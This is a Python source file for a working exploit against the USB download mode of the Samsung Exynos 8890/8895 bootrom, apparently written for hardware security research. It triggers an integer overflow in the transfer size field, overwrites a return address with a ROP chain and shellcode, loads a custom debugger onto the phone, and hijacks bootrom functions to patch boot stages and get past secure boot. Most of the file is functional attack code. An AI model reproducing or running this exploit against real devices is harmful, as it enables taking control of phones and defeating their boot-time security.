import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import *
from capstone import *
from ghidra_assistant.utils.utils import *
from ghidra_assistant.concrete_device import *
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
from qiling.const import QL_ARCH
import os, tqdm, datetime

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)

logger = setup_logger("") #Leave empty to get root logger
logger.setLevel(logging.DEBUG)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

def wait_for_device():
    while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
        pass
    
def wait_disconnect():
    while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
        pass

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)

class ExynosDevice():
    """
    Class to exploit a Exynos device (8890/8895) using the USB stack.
    """

    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        """Init with vendor/product IDs"""
        self.idVendor = idVendor
        self.idProduct = idProduct
        self.target = "8890"  # TODO auto detect device
        self.connect_device()

    def connect_device(self):
        """Setup proper connection, and ensure the connection is alive"""
        self.context = usb1.USBContext()

        while True:
            self.handle = self.context.openByVendorIDAndProductID(
                vendor_id=self.idVendor,
                product_id=self.idProduct,
                skip_on_error=False
            )
            if self.handle == None:
                continue
            break

        try: 
            self.handle.getDevice().getSerialNumber()
        except Exception as e:
            if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
                print("Device disconnected / not connected. Reconnect USB?")
                sys.exit(1)
            else:
                raise e
            
        # claim usb interface
        self.handle.claimInterface(0)
        print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
        
    def disconnect(self):
        """Disconnect the device"""
        self.handle.releaseInterface(0)
        self.handle.close()
        self.context.exit()

    def write(self, data):
        """Write data to the device"""
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
        assert(res == 0), "Could not perform bulk transfer"
        return res

    def send_empty_transfer(self):
        """Send an empty transfer (to not actually write data)"""
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transferred.value
    
    def test_bug_2(self):
        """Interger overflow in last packet if reamining size is 1."""
        transferred = ctypes.c_int()
        bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0
        
        payload = b"\xaa" * 0x200
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        assert res == 0
        
        payload = b"\xaa" * 0x200
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        while True:
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)

    def test_bug(self):
        """Verify bug existence"""
        # Start by sending a valid packet
        # Integer overflow in the size field
        # unk + size + payload + header
        payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

        assert (len(payload) == BLOCK_SIZE)
        res = self.write(payload, MAX_PAYLOAD_SIZE) 

        for i in range(200):            
            print(hex(self.send_empty_transfer()))
        
        print('Bug probably available')
        sys.exit(0)

        
    def send_normal_stage(self, payload):
        '''
        TODO not working
        '''
        # construct dl_data
        dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2)) 
        dpayload = dpayload + payload + b"\x00" * 2 # add footer
        transferred = ctypes.c_int() 
        for block in range(0, len(dpayload), BLOCK_SIZE):
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
            assert res == 0, "Error sending payload"
        p_ok("Sent stage")
    

    def unsecure_boot(self, exploit=False):
        '''
        Do a normal boot process, with or without exploit.
        '''
        if exploit:
            self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
            time.sleep(2)
            self.connect_device()
        # self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
        # self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
        # self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
        # wait_disconnect()
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
        # self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
        # wait_disconnect()
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
        # self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
        # wait_disconnect()
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
        # self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())        
        pass


    def exploit(self, payload: bytes):
        '''
        Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. 
        '''
        assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"

        current_offset = TARGET_OFFSETS[self.target][0]
        xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
        transferred = ctypes.c_int()
        
        size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 -  header(8) + data(n) + footer(2)
        #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
        max_payload_size = 0x100000000 - size_to_overflow
        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # 
        
        # Assert that payload is 502 bytes
        # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
        # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload"
        
        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        assert transferred.value == len(bug_payload), "Invalid transfered size"
        current_offset += len(bug_payload) - 8  # Remove header
        
        cnt = 0
        while True:
            if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
                break
            self.send_empty_transfer()
            current_offset += CHUNK_SIZE
            cnt += 1
            if current_offset > 0x100000000:
                current_offset = current_offset - 0x100000000 #reset 32 byte integer
            print(f"{cnt} {hex(current_offset)}")
        
        remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
        assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
        if remaining > BLOCK_SIZE:
            self.send_empty_transfer()
            # Send last transfer, TODO who aligns this ROM??
            current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
            cnt += 1
            print(f"{cnt} {hex(current_offset)}")
            
        # Build ROP chain.
        rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
        transferred = ctypes.c_int(0)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        assert res == 0, "Error sending ROP chain"
        return


    def usb_write(self, data):
        assert len(data) <= 0x200, "Data too big"
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
        assert res == 0, f"Error sending data {res}"
        assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
        return transferred.value


    def usb_read(self, size):
        transferred = ctypes.c_int()
        buf = ctypes.c_buffer(b"", size)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
        assert res == 0, f"Error receiving data {res}"
        return buf.raw[:transferred.value]


    def setup_concrete_device(self, concrete_device : ConcreteDevice):
        #Setup architecture
        concrete_device.arch = QL_ARCH.ARM64
        concrete_device.ga_debugger_location = 0x2069000  # TODO, not used yet
        concrete_device.ga_vbar_location = 0x206d000 + 0x1000
        concrete_device.ga_storage_location = 0x206d000
        concrete_device.ga_stack_location = 0x206b000
        
        concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
        concrete_device.arch_dbg.read = self.usb_read
        concrete_device.arch_dbg.write = self.usb_write

        #Overwrite all calls to make the concrete target function properly
        concrete_device.copy_functions()


    def usb_debug(self):
        """
        Function to debug USB behaviour. Sends and receives data in continuous flow.
        """
        transferred = ctypes.c_int()
        # Send some data
        count = 0
        def _send_data():
            transferred.value = 0
            p = p32(count) + b"\xaa" * (0x200 - 4)
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
            assert res == 0, f"Error sending data ({res})"
            
        def _recv_data():
            transferred.value = 0
            buf = ctypes.c_buffer(b"", 0x200)
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)        
            assert res == 0, f"Error receiving data ({res})"
            hexdump(buf.raw)
        
        # Should have received some bytes
        while True:
            _send_data()
            _recv_data()
            count += 1


    def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False):
        """
        Dumps memory from the device.

        Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
        """
        # NOT WORKING YET
        transferred = ctypes.c_int()
        dumped = b""
        # Read data from memory
        for block in tqdm.tqdm(range(start, end, 0x200)):
            self.usb_write(p32(block-0x200))
            res = self.usb_read(0x200)
            dumped += res
        
        if write:
            filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin"
            with open(filename, "wb") as f:
                f.write(dumped)
        return dumped


    def setup_guppy_debugger(self):
        """
        Sets up guppy debugger on the device itself.
        """
            
        def _setup_debugger():
            '''
            Setup the debugger as a concrete device
            '''
            self.cd = ConcreteDevice(None, False)
            self.cd.dev = self.setup_concrete_device(self.cd)
            self.cd.test_connection()


        def _initial_run_debugger():
            """Write debugger to device and test basic functionality"""
            if os.getenv("USER") == "eljakim":
                debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
            else:
                try:
                    debugger = open("../../dump/debugger.bin", "rb").read()
                except Exception as e:
                    print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                    sys.exit(0)
            debugger += ((0x2000 - len(debugger)) * b"\x00")
            assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
            for block in range(0, len(debugger), 0x200):
                self.usb_write(debugger[block:block+0x200])
            # time.sleep(.5) # Wait a little bit
            assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
            
            # Test basic functionality
            self.usb_write(b"PING")
            r = self.usb_read(0x200)
            assert r == b"PONG", f"Invalid response from device: {r}"
        
        _initial_run_debugger()
        _setup_debugger()
    

    def relocate_debugger(self):
        # Seems to be cleared upon cache clearing??
        if os.getenv("USER") == "eljakim":
            debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
        else:
            try:
                debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
            except Exception as e:
                print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                sys.exit(0)

        self.cd.memwrite_region(0x020c0000, debugger_reloc)
        # self.usb_write(b"FLSH") # Flush cache
        self.cd.restore_stack_and_jump(0x020c0000)
        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
        
    def relocate_debugger_2(self):
        # Seems to be cleared upon cache clearing??
        if os.getenv("USER") == "eljakim":
            debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
        else:
            try:
                debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
            except Exception as e:
                print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                sys.exit(0)

        self.cd.memwrite_region(0x020c0000, debugger_reloc)
        # self.usb_write(b"FLSH") # Flush cache
        self.cd.restore_stack_and_jump(0x020c0000)
        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)

    def relocate_debugger_3(self):
        """
        Relocate debugger to 0x0201a000, 0x0201c000, 0x0201a000
        """
        if os.getenv("USER") == "eljakim":
            debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger_0x0201a000.bin", "rb").read()
        else:
            try:
                debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
            except Exception as e:
                print(f'Are you missing your debugger? Please ensure it is present in dump/debugger_0x0201a000.bin. {e}')
                sys.exit(0)

        self.cd.memwrite_region(0x020c0000, debugger_reloc)
        # self.usb_write(b"FLSH") # Flush cache
        self.cd.restore_stack_and_jump(0x020c0000)
        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
        

    def dumb_interact(self, dump_imems=False):
        '''
        Room for playing around with the debugger on the phone.
        '''
        self.cd.arch_dbg.state.auto_sync = False
        self.cd.arch_dbg.state.auto_sync_special = False
        logger.debug('State after setting up initial debugger')
        self.cd.arch_dbg.state.print_ctx()
            
        def first_debugger():
            debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
            self.cd.memwrite_region(0x2069000, debugger)
            self.cd.restore_stack_and_jump(0x2069000)
            assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
            self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)

        # self.relocate_debugger()
        DEBUGGER_ADDR = 0x2069000 #0x020c0000

        ### Get whereabouts of the debugger and current processor state
        logger.debug('State after relocating debugger')
        self.cd.arch_dbg.state.print_ctx()
        
        def memdump_imem():
            """
            Dumps the internal memory of the device (0x2020000 - 0x2070000).
            """
            dumped = b""
            for block in range(0x2020000, 0x2070000, 0x200):
                # print(hex(block))
                dumped += self.cd.memdump_region(block, 0x200)
            return dumped
        
        AUTH_BL1 = 0x00012848 # Location of the authentication function
        def auth_bl1(lr=0x2069000):
            # Load the firmware
            self.cd.arch_dbg.state.X0 = 1
            self.cd.arch_dbg.state.X1 = 1
            self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
            self.cd.restore_stack_and_jump(AUTH_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
            assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
            
        BOOT_BL1 = 0x00019310 # Location of the boot function
        def boot_bl1(lr=0x2069000):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(BOOT_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
            
        JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
        def jump_bl1(lr):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(JUMP_BL1)
            
        # Always hijack rom_usb_download function:
        rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
        self.cd.memwrite_region(0x020200dc, p32(0x2069000))
        
        # Try loading bl1
        bl1 = open("../S7/bl1.bin", "rb").read()
        self.cd.memwrite_region(0x02021800, bl1)
        self.usb_write(b"FLSH") # Flush cache, as Frederic does
        self.cd.test_connection() 
        auth_bl1(DEBUGGER_ADDR)
        # boot_bl1(DEBUGGER_ADDR)
        self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
        self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
        jump_bl1(DEBUGGER_ADDR)
        
        # Returns on usb_download function
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        self.cd.arch_dbg.state.print_ctx()
        dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))        
        bl31 = open("../S7/bl31.bin", "rb").read()
        self.cd.memwrite_region(0x02024000, bl31)
        self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
        self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
        
        self.cd.arch_dbg.state.X0 = 0
        self.cd.restore_stack_and_jump(0x020219c8)
        pass
        
        # assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
        # self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
        
        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        # self.cd.restore_stack_and_jump(0x02022a08)
        # Patches
        # self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
        # self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
        
        # Patch stupid error function
        # self.usb_write(b"FLSH") # Flush cache
        
        # Download next stage?
        lr = self.cd.arch_dbg.state.LR
        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR        
        pass

        # Overwrite jump back to the debugger from functions encountered during jump_bl1
        self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
        self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
        
        def hijack_brom_weird():
            print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
            self.cd.restore_stack_and_jump(0x00000314)

        jump_bl1(0x020c0000)
        def handle_weird_brom():
            while True:
                try:
                    resp = self.usb_read(0x200)
                    logging.debug(f'Within jump_bl1. Response: {resp}.')
                    if self.cd.arch_dbg.state.LR == 0x02022948:
                        break # ROM will load next stage over USB
                    hijack_brom_weird()
                except Exception as e:
                    pass
        handle_weird_brom()
            
        ### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
        # self.cd.jump_to(0x2069000)
        # assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        # self.cd.fetch_special_regs()
        
        self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
                
        self.cd.arch_dbg.state.X0 = 1
        self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
        self.usb_read(0x200) # GiAs

        self.cd.arch_dbg.state.LR = 0x2069000
        self.cd.restore_stack_and_jump(0x00000314)
        pass
        
        ### UXN and PXN seem to be present over the USB stack (02021800+)
        shellcode = f"""
        ldr x0, debugger_addr
        blr x0
        debugger_addr:   .quad 0x020c0000
        """

        shellcode = ks.asm(shellcode, as_bytes=True)[0]
        self.cd.memwrite_region(0x2021800, shellcode)

        self.cd.jump_to(0x2021800)
        pass

        # bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
        # # Write bl31 at 0x02021800 and authenticate
        
        auth_bl1(0x020c0000)

        # Jump to bl31
        jump_bl1(0x02021800)
        pass

        # VERY OLD
            
        #000125b4
        # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
        # self.cd.restore_stack_and_jump(0x00012814)
        # self.cd.restore_stack_and_jump(0x000125b4)
        
        
    def debugger_boot(self):
        """
        Boot into USB recovery mode using the debugger.
        """
        ### Setup debugger
        self.setup_guppy_debugger()

        self.cd.arch_dbg.state.auto_sync = False
        self.cd.arch_dbg.state.auto_sync_special = False
        logger.debug('State after setting up initial debugger')
        self.cd.arch_dbg.state.print_ctx()

        # self.relocate_debugger()
        DEBUGGER_ADDR = 0x2069000 #0x020c0000

        ### Overwrite boot_usb_ra to our debugger
        self.cd.test_connection()
        hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8)
        self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))

        ### Set link register and boot into the USB function
        BOOT_USB_FUNCTION = 0x000064e0
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION)
        time.sleep(1)
        self.connect_device()

        # Setup jump and authentication
        AUTH_BL1 = 0x00012848
        def auth_bl1(lr=0x2069000):
            # Load the firmware
            self.cd.arch_dbg.state.X0 = 1
            self.cd.arch_dbg.state.X1 = 1
            self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
            self.cd.restore_stack_and_jump(AUTH_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
            ### Check if authentication was successful - X0 should not be 0??
            # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"

        JUMP_BL1 = 0x000002c0
        def jump_bl1(lr):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(JUMP_BL1)

        # Send boot stage 1
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        
        # BL1 is loaded, now authenticat and patch it
        auth_bl1(DEBUGGER_ADDR)
        self.usb_write(b"FLSH") # Flush cache
        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) 

        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
        self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
        jump_bl1(DEBUGGER_ADDR)
        
        
        # ==== BL31 ====
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
    
        # Download next stage via ROM_DOWNLOAD_USB
        lr = self.cd.arch_dbg.state.LR
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
        time.sleep(2)
        
        self.usb_read(0x200) # GiAs
        # self.cd.memwrite_region(0x02024774, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        # self.cd.arch_dbg.state.X0 = 0x020347f0
        # self.cd.arch_dbg.state.X1 = 0
        # self.cd.restore_stack_and_jump(0x02030464)
        self.cd.restore_stack_and_jump(lr)
        time.sleep(2)
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"

        # ====== PATCHES TO BL31 here! ======
        self.cd.memwrite_region(0x02031008, b"ELH")
        
        # Jump into BL31
        self.cd.restore_stack_and_jump(0x02024010)
        time.sleep(2)
        self.connect_device()
        
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        # print(self.cd.memdump_region(0x020200dc, 4))
        self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) #Sets jump/X1 address at X0 0x2048000 -> Entry point of BL2

        # Boot mode? Not sure whether its important (related to boot type at function 02023800?)
        # self.cd.memwrite_region(0x02020, p32(DEBUGGER_ADDR)) # Restore original boot flow

        # Jump into USB download function
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR

        # WORKS
        self.cd.restore_stack_and_jump(hijacked_fun)

        # WORKING UNTIL HERE

        # ==== Stage 3 BL2 ====
        BL2_FUN = 0x2048000
        bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
        # bl2 = bl2[:(0x02052bf4-0x02048000)] + b"00000000" + bl2[(0x02052bf4-0x02048000)+8:]
        self.send_normal_stage(bl2)

        # self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
        time.sleep(2)
        self.connect_device()


        # ==== Stage 4  ====
        stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
        # Patching
        # stage4_len = len(stage4)
        # patch_len = len(b"USB RECOVERY MODE")
        # patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE")))
        # patch_offset = stage4.find(b"USB RECOVERY MODE")
        # stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:]
        # assert len(stage4) == stage4_len, "Invalid stage4 length"
        self.send_normal_stage(stage4)
        time.sleep(2)

        pass


if __name__ == "__main__":
    arg = argparse.ArgumentParser("Exynos exploit")
    arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
    arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
    arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
    
    args = arg.parse_args()
    exynos = ExynosDevice()

    if args.debug:
        shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
        exynos.exploit(shellcode)
        exynos.dump_memory(write=True)
        # exynos.usb_debug()
        sys.exit(0)
    
    if args.unsecure_boot:
        exynos.unsecure_boot()
        sys.exit(0)

    stage1 = open("stage1/stage1.bin", "rb").read()
    exynos.exploit(stage1)

    if args.debugger_boot:
        exynos.debugger_boot()
        sys.exit(0)

    exynos.setup_guppy_debugger()
    exynos.dumb_interact()
        
    sys.exit(0)